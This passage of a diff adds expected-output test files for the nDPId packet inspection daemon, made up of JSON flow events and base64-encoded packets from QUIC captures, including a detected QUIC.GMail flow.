+00873{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":769593,"pkt_caplen":387,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":387,"pkt_l4_len":333,"pkt":"AAAAAAAAAAoAaIxPht1gAAAAAU0ROz9l7On+cW4q+s6wDAAANY4qrM331QZ4B5CSB1+pY\/SrAbvg8wFNFVJOFV85r8TQp35z5Bmda\/4gy7xWTjcVk2PcyPeU7PEmDCCTibj8O5j2MvMx2t3Zehez\/Q3Fwkabqn9Gng6dHvuSrFzjTxmqbSrnm7HGyMZr14EARqqO3OBgQ9D7x6Cd8yQGx8hKBp36sWTXi3SZe5uNWzEWfSikvV6swcWlrw6nwXAvPX0Qqt\/w\/tDUQOWHkhJSWnzd7P74FlBdSqel46D1qWYZCbGLGiFV5T+xKzKbeFSteb8rShQFzCUYMT4dAAlP3Qu+J+6zcctNPFU0NHL9g29CiqeomGbPIDP1Gb28EN6h31bpk3Fll3IccI66k\/NpcqQv+o5E9MaEPy88n8cbnHVu0H4esytSKdg+tfpPJckbnlS\/DK\/erDDhRMsmLxBIKilQS\/lNJ2qyfsfNQviVS0sIFl\/F9Yyet8+l9Rf5Iah4Jd09"} diff --git a/test/results/quic.pcap.out b/test/results/quic.pcap.out new file mode 100644 index 000000000..9379019a0 --- /dev/null +++ b/test/results/quic.pcap.out @@ -0,0 +1,95 @@ +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1431155536815,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.109","dst_ip":"216.58.212.101","src_port":57833,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02200{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155536,"pkt_ts_usec":815947,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"ZHACjT05eJKcD6iOCABFAAViHYdAAEARqU7AqAFt2DrUZeHpAbsFTjSmDbLeXfFPVUXrUTAyNAE7bomG+Dzzt6arXQUBoAEABENITE8YAAAAUEFEAIcBAABTTkkAlgEAAFNUSwDQAQAAVkVSANQBAABDQ1MA5AEAAE5PTkMEAgAATVNQQwgCAABBRUFEDAIAAFVBSUQkAgAAU0NJRDQCAABUQ0lEOAIAAFBETUQ8AgAAU1JCRkACAABJQ1NMRAIAAFBVQlNkAgAAU0NMU2gCAABLRVhTbAIAAENPUFRsAgAAQ0NSVIQCAABDR1NUiAIAAElSVFSMAgAAQ0VUVjADAABDRkNXNAMAAFNGQ1c4AwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLW1haWwuZ29vZ2xlLmNvbT0+v6ewgcRvrlDFl4IgCKBtLSXVw73kkvbSDmvcmOf2TBMxulvrGz8yGTFdF5jLNEfrxdDYlT46wVhRMDI0OZ\/5U0D3\/sl7Junn5Fxx\/1VNs1C1kCtxr0CV9UPILNoJ6w2heNOu0THXmZnbqXjfZAAAAEFFU0diZXRhIENocm9tZS80My4wLjIzNTcuNDWSgFuKS9buSt4mHNzF5UW8AAAAAFg1MDkAAAQAHgAAALUiugwS5Xe6lV7+35SrDjhQNi2XDPMM\/SAa6745q60xAQAAAEMyNTWyymQS2aTzwxJH\/U1CkeUIQAt7kKmueetRQklDOGABACXmg4KWna0TB6ed5h20iLVA1zTe0FGDOptzFKaIlVwv9K6LN7uMdA4zwVZIB1iByXkmIDPeaAjR8KDHiEXiLMdlilnNIxXrsf36+nSmAywD99MMia5QSojDYPQnkx\/kpc2+WkgLuTD7x6JugKntVJ0OcgBRa3ZbeaVzbIzXT9DutsK0zdmFTlT7PzF\/1Y0KupYf9uk4kqnlGvQLoUuyyKbFovu6AACgAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00615{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1431155536815,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.109","dst_ip":"216.58.212.101","src_port":57833,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.GMail","breed":"Acceptable","category":"Email"},"quic": {"client_requested_server_name":"mail.google.com","user_agent":"beta Chrome\/43.0.2357.45"}} +00988{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155536,"pkt_ts_usec":861947,"pkt_caplen":478,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":478,"pkt_l4_len":444,"pkt":"ZHACjT05eJKcD6iOCABFAAHQHY9AAEARrNjAqAFt2DrUZeHpAbsBvNDyDbLeXfFPVUXrUTAyNAKdxuQD3gljSLhQUOfLRbUHNhGyhVA9b2u4w1RW9E4SCZCpycMJZccQCIwgTfygJ\/6u\/OxyXHQ8t9GsIUVpGN5BSEz\/EaopIjzG0oey+J14dhVaQT5clZ4hX2alMKUnKCpX2UHp8k4gIBE+BTaDbhx4sVltZ3YRbFd1slVBcwxCCDis9hGoXWyhcUU9TpSCvPXqyDIBYGsw8hGUNxjvWcC36dLiKPlQ1A++VHlkjzGxGsfgIrij15t0O6lgXxVbA\/HpW3G2ebAmsKraKCAnkkUtJl3AOI\/J2OljPOJ8ybsb8ihq0NT5yt7I6jw60az5CR6QV4lZS\/t+fQsKeKH0MrEQhH3b6f+BZUKI9uikSR4hfQxA8xYeMMFcn\/fjScjPTaUqPoQqgHKJPMZAaJaOIXR\/06t5\/mWN79wAQ5uIfj\/sSvnF2vA+Wg+Ct+7u2iMK\/1hOAY0\/EO0phnuWYuhnxN7rmjjYiKKpzjb+WYnzCHocgbS6q4u8VmchP8qd2Emms7CkStzYV\/CAUZKEnfSvajU\/RaVfjhz9giNrW3Dr5B1Mu7zIwMFBEg=="} +02220{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155536,"pkt_ts_usec":876004,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iOZHACjT05CABFAAVi+w8AADYRFcbYOtRlwKgBbQG74ekFTrySAAED7yXOnwe7pFDDfekcKJR3Jy2sqO+OrEMBkrmlA5460PLSsQWLxQP3oiY5d8U9vyThqGCVEM5n\/b30dAd2DjWMikTcCyMma2f07JhYHF3MMGVgNWOe6MGYINMPJ609w8TfRzFDXO2Hv3Rd+Io3\/xrzZn4oPs6zhHI1yq2C3Bu04kRZDHQePoRj30\/8HvjxNKB4JiKyE+zKdMREBQ3JOi\/Z6sOIMbX9akogkYpnl7ng6wuSDWdU0O6S17QqQ\/PZNbWcKj10ybS4iwVQA0f8amB7S9uZIaouXNiBUNnVoBkvwUNJHLfYTkO7Lcrh9\/y6VuU0sUqC5BwPmW+2ikCeMngUD1xHT1Lx5xcuKKpYgNXg5fiz8miFT9HCjdjO6B4AMX2tdmMxafKWE\/OE83wkxbiDjermaqDLFN43iZrsa77dngVKSa0JOoliFCpsBQc+8MPNJciywBt2F7RgKowH2h+9Qk9ORQtDAbuXMpSiJJWSUWGURbG9ZouMcFzy3aCPhH9WEaiDxSqv5bG1C+4++Ap3JmLZGydHT1SxVwfUUCxHryOH1SJLcVb8wYjogx1ZyV2hUKKGb\/LTkrzKQgQmaow0b30+zmXo8EqAqNi+pbkwMCjRuhbpSGWkDycL5nwxuP9Ml3fkw+Nua2MwUp0EfcBQbRU9wNgqxQ9uJseySfgLNd277XFk6kBsEbZHLkwoqVC16i6UXqO9Bq9Qa6OSE4HmTd0ZK\/TJwTkvyZH7HArDOO\/IcXlmUhCYygfBL2Q5ZpNExxrN9hs9fyUTlDAy\/fKVbi1DmTvb8UQ08IKIHR88Yq94i78i11E4Ck+d\/mt1HMNvsgPj2pD+djmLPe2eSTH37Jk2vmFRiqCOpbpsl49D\/VP3D6Iqy69k4ASDn2RRISJtJTG3B4eSG0UcIyl51iCsWhHCXqo+IYYFVP5DZZddk8U1w9uBnJXeOg1TXZTOMI0ol6bS146IgKA69vbLEVfalKBSuGdHvDKyOMSnLak5kQ2gF6fQS9y3naenu5fopH54EXjO3jjfmTVJmGvZC\/P1NiZtWEgaqDhB2DugL5t17Tc3VwmJfqg+3eAVYWabEKtkMdIl3iArLACUUBNCZz1HkomKYV+WYy79+d13Y8v1fzFaFyLLqqM4eyurBPDRG\/+y1oiSpL+pmxwnbgxI3utzVErOYH+5lhn82g\/+Ii+SkdpS0RH4VCbqV\/v0Y4Y5Od4xYJhouL7GcBe5gBVDLL2wvDGN\/2TxDwPjLE+A3+O2Fa4G5F\/+gjnrsB0wdiL\/ilvOHsRXVpnfbw+QbFdGjFQzBh00mHjlv+hyldAVX6DRrmAyZqfHl4R8DYS3AwjxssPWDwDtSUMlQQpikBERZ9MMlFb4xTKRR\/wBi8a8Irtzx\/kIza\/1v2NJPtS13JBH+AEVAHqIKkeVWhalz8eieG0tc75G2spbagtiyakNL\/rq+i0PePLukIW0MDDsvi7O7dn\/0fwGspoErTl6j3PKwj7+sTyyEqAVRQx1M7OB+kmMDRumZ6Ct9DotkVa72qOqLha\/8xxMPobKOFlHa3535yRdBIpdRmga9bEYopLGGzkYHAzAiGpiXAo7oYF9gbpS7a5ciOCtFbOspMqjc6us7YE1Fk9eZR8mOK3nE7WlV4miQCj5Ye\/jSzjCwJgC1JXYSzigmV7HoFUEa9032KRB3TfddhJ9qY+MTGbbTrJ2h+zE2tLE+GlMJ43i68EjkXl4FQgRWpuP1j6L9IzE9WrKG1pRl60aGD77YrqqhZeBKTB3VaLzjU5uW3RnvxwpEMU20qKXXlS1"} +00439{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155536,"pkt_ts_usec":876734,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"ZHACjT05eJKcD6iOCABFAABBHZJAAEARrmTAqAFt2DrUZeHpAbsALSjiDLLeXfFPVUXrA67v5IKthu5daKgPQycb1I+P+X02zD7nMJ4gZg=="} +00432{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155536,"pkt_ts_usec":941384,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOZHACjT05CABFAAA8+xkAADYRGuLYOtRlwKgBbQG74ekAKOqdAAIPpl2KFMpJfDQ+pZaM0w+K\/5VnEsUISIlT4r5r+nE="} +01315{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155536,"pkt_ts_usec":943871,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"eJKcD6iOZHACjT05CABFAALH+xoAADYRGFbYOtRlwKgBbQG74ekCs6OJAAMaNo0fQpJRK4Xv6rYmo4UA0VSSiSo0ZzwaUam7v0gVpGgnDyoabZgKBhhrJhHdMpPrAHK7SYraB\/twbRk2gGKh6Cy2vGeSspfLfRdWOs\/BpZm1mwcqnBiEWs\/ec5wTPd\/pcgDUFaZpUzzLjqS+ET8BMBRr1EayG8NKQu+EURvfyNZBfk9XX\/fipKpfpQEQ2OkpuyOQqsUGPOar6gh69\/GGvFNF8M7lfAY1iacehYIbKYtKT7+vmrjmm8f3o4JVcsnWwxZM5LymLDkgq4U6nMny5j1AWmF8mbnF2\/TXvzeBzNLHM7ErwBDmhobWdVFEDP2u67b0r645XxwJ4\/jGRxXK88X8OnZtlL5XS3ElnNGrw0BRTwAJkuvegCdlDif\/Uf62+Hhz7eU3sJ85iUOYxIqFXi4YrFGgnRpopMzivsWXAjjTn4gJVgvyHuIcCPPURsDr76CD+AS6uSufuI4lYrnd8PUh4j0Sqy5q+3SqIcBzN1uLWwbYs64Qf9glg\/IZqZckrTOPlYrWLhuz7j1L67yUxOsqN6HjNY7FLlm7S50gjTk1+wuEy6qMFsPLcnG+pGz7BQcf598W5vGPR1oe0K79AX3XYxaZyKV4\/4X+vn3mmXA17iSioexwWwJPfup2mzVq3OAqthwV7uB96lHqwIcpFVaedm0OLB\/SbPNlfuIP9dK6cPOQwav\/AOXjFSnxIfInT9QQWI5UyzBhqmczf2N0ahPQQyEgPrbvOaTcGjidK686TsNEvG2qqPPoj3oajdHgmTgNS3t6qKcj7ZuocNNR8zY5GQ+oHWZFdXV6lBGFg8iKRxUgpKiAtuWXX4tXh4Rg04tu1L19zuULJ52U0Azp+hedS97wXCyW1JF02O+JXDaAupW1BjLD+MRhf2UUbZochQtGD79gYvg="} +00444{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155536,"pkt_ts_usec":970127,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ZHACjT05eJKcD6iOCABFAABEHZ5AAEARrlXAqAFt2DrUZeHpAbsAMGtUDLLeXfFPVUXrBFPuow9qWmH4gcu4wlmbcaiZYhRnY1MVwra5\/SSBVA=="} +01314{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155537,"pkt_ts_usec":111938,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"eJKcD6iOZHACjT05CABFAALH+2sAADYRGAXYOtRlwKgBbQG74ekCsw97AAQQU22WtplPUJqm8rFZ72Ne\/rfp5zdkxbIgLj+3EOEDTDd9P6vFs+X4XfApX4HtaCKWlk7fFCXR1TWiXnizI5BCSHMijfGPTTDRTPPsHw8d\/2lL5APdgxy3ThGGwvbklBBufGugApBRadbCC7nCJ+TECZfVUMep9gtcV4fUG6RNEBYlVWM0fytsxrku7WDTE3rUs8D4n6MRsaMY5bbQbUJKe6l0K3LlcBfEYvXdNGGqGmTus7P0ebVovBwk0yVoo4cjoJVz2bKESpuB8U\/+iMnZ8RltQNIzs4A0K4pn0g1EZGnEWwTwNL3viid4QdRWpUXQ2cWQtyzRgVpRdM6TMW0RT5+wQUbOMASWYCQDY4bRl5G3yFYqF5nE98ERlds3jBbhDqZvm+RqoVhM63lAdKr0eO+MDTSZarKj2qKQ0HDzEWFO0Alo\/BZQXDm0QL5EK\/gC8V6Etz1Z9tfnJF\/CBx6N7gvLEh2SCY5\/X4++RR0eB8fv\/UIrhCglilWnYHuDFX+AKt8G9nUuDdWoQGUnMcPmk2pheal8yyyOZ93HPMqTx9\/vRw2AXr62dK5KwMF42SkmezfAdQ5qXjO+sKSNKRjXkL9M9K1gb+W3powc+S3QiseMWCpHxfuRj8KJK2lkUo37OTg2ESsiYHGu4BhuZ9lbcfQ+sLHfRXdx7pQzfvvHKjO+62Zn0iU4bdobUK6Msb7pq9gkELgcjTmz4zaBZ44mLW\/QlMuqcEXE0JNuUehzM7h85fE4yoHFQd1hn0X9A+sAbLfYmsiygMYrub0E3NrdaKrgaHmdo1+wlKLXUXoKZV+42JP\/gm7LAiSf91mlrtOzJLu7cVIpLBwHiFE0psCZWxRHW1jh8UGWkyHdIoJW6vvnitLjDbklX2qkFcQWK9UOuEzib\/6LlJc="} +00439{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155537,"pkt_ts_usec":138215,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"ZHACjT05eJKcD6iOCABFAABBHaRAAEARrlLAqAFt2DrUZeHpAbsALUG6DLLeXfFPVUXrBQtojvCUMbKWGzPfg8oU9G48R2nW5TFGLPf76w=="} +00628{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155537,"pkt_ts_usec":760953,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ZHACjT05eJKcD6iOCABFAADIHbJAAEARrb3AqAFt2DrUZeHpAbsAtPJrDLLeXfFPVUXrBtpIy+cMAPfm7MHwHEfCJSbnTvNnPZtElz223VgRfkAws\/lM4yCq7edqHQp2NmBbgFkvnUpWU5XSsz\/QyPebA8FrjJkETnyK34fMhjPjPmsXtGjYbvF3ltAQBe5RFW+i0G\/j0QwyKeUSdBcSgkjbQGR0n9Q+V9CAyW7UetQFB6xlpEg97o3WtofDPvJEWNxjM30w7C+sfe8Fpkt87vro\/AaF4Q=="} +01029{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155537,"pkt_ts_usec":793276,"pkt_caplen":508,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":508,"pkt_l4_len":474,"pkt":"eJKcD6iOZHACjT05CABFAAHu\/PgAADYRF1HYOtRlwKgBbQG74ekB2sGMAAWXoT+ChrB0HA0+Q1neb3g38pZy0TdnwedD1FE6b9CM4bFYeDPzBslmot12nGlLdIujODr\/sERgMwODHgkfmsRJ56pZvQQxx\/8aWoDvnKOHNOhdj0Ac2ppXPRRicUGH9leNNbSg2m2W22SWbAnpN1CEC95s4+BLLuQr\/TbuBikDHyh05G2ZMaM+74DWvPsa3JDckxOdbAwKZ4R\/nDGCZwjHNqMN66OGeTa2dHiSIitogIdtYgiDeIgnqQuLxtbaeQQTxJBk11ElX1dggHf36ImlQtAViwRxOS6z\/eg1xu1kTG5TNEjJD6Jfdfd+oMt3ixnQEt7RaAJi1ef0ioJU90pxlxjwlwiRs3s4WCQg8tVW6yzRDgnaSc8q0l0FD\/8B7QDQXKzFz4oFqwBMnniZhep7wb7N9lRivXjxUy4Ybqcxs5Nsu7qrv5rYu3Ev6yIWfYS8+5g+h3t\/Z6vM3yZKNBCyFUi4CTpZ\/vMWTEdjSlh\/hoX9iAmieKp8Cqcz20pFSkQ\/NpJlmYzluLtdzULnf\/Mc8k6G216FgWAy59FpgQ8faLXTzIgO+U+ybV2HQsuVBWDXeUWnRHCS6tyqMwUKRZZYAhVAilVZ\/kuuRUUYcVc+RA=="} +00433{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155537,"pkt_ts_usec":793318,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"eJKcD6iOZHACjT05CABFAAA4\/PkAADYRGQbYOtRlwKgBbQG74ekAJE1WAAa\/Qp1zrd5u+JPijL6b\/\/wqisjcvdn2t9I0Rg=="} +00447{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155537,"pkt_ts_usec":818989,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ZHACjT05eJKcD6iOCABFAABEHbhAAEARrjvAqAFt2DrUZeHpAbsAMIpKDLLeXfFPVUXrB2XGEJP9\/x\/dpEjZgXF6tI5h66OYJF9zHNLajuLPdA=="} +00597{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155540,"pkt_ts_usec":938130,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"ZHACjT05eJKcD6iOCABFAAC0H3JAAEARrBHAqAFt2DrUZeHpAbsAoJcMDLLeXfFPVUXrCNk+Wkv72vmVDQX\/353NmdXyBHMZ21qEUqbHryHEid2LGNVuOmekL2sN6JZrGf36BcrcJn0q1HnCFMUN3zw20FtxwuXwoNBveurL2CVkYF03BrbRGDzdPyC2uozYyq8Zx5YwRHRC+ySWptvLT5idyQYD9gRq4q0aXz2ILQFnFJXzLB1KhCuwZrvy1lvv73c="} +00567{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431155540,"pkt_ts_usec":990903,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"eJKcD6iOZHACjT05CABFAACcAs0AADYREs\/YOtRlwKgBbQG74ekAiGyrAAegr6Vh4hkXr2y4tmkJNW72u1rlC4LxAa0sEmGx+ZotLWpiDoBRM0zOZOsBdVEqWonUuM9y3q1ycMpXk0d5e4of\/qLauGHWK23H+XQ8+ruz2y3H59egPCzssO+TR6\/ImbemzZRiC+VcGigbOgvuVLoTvuS1DW9IBfDe1mxkZ4o="} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":414,"source":"quic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":413,"flow_first_seen":1431155536815,"flow_last_seen":1431155574747,"flow_tot_l4_data_len":240832,"flow_min_l4_data_len":27,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":583,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.109","dst_ip":"216.58.212.101","src_port":57833,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":414,"source":"quic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1461850699450,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.4","dst_ip":"10.0.0.3","src_port":40134,"dst_port":6121,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02197{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1461850699,"pkt_ts_usec":450756,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"OGO7P47K7LHXhMJyCABFAAViImxAAEAR\/xgKAAAECgAAA5zGF+kFThlmCfresOVX5pKgUTAzMwHak8zsp30I9q698IIAoAEUBUNITE8NAAAAUEFEAEwEAABWRVIAUAQAAENDUwBgBAAATVNQQ2QEAABQRE1EaAQAAElDU0xsBAAAQ1RJTXQEAABOT05QlAQAAFNDTFOYBAAAQ1NDVJgEAABDT1BUnAQAAENGQ1egBAAAU0ZDV6QEAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVEwMzN7Junn5Fxx\/wHogWCSkhroZAAAAFg1MDlYAgAASxIiVwAAAADS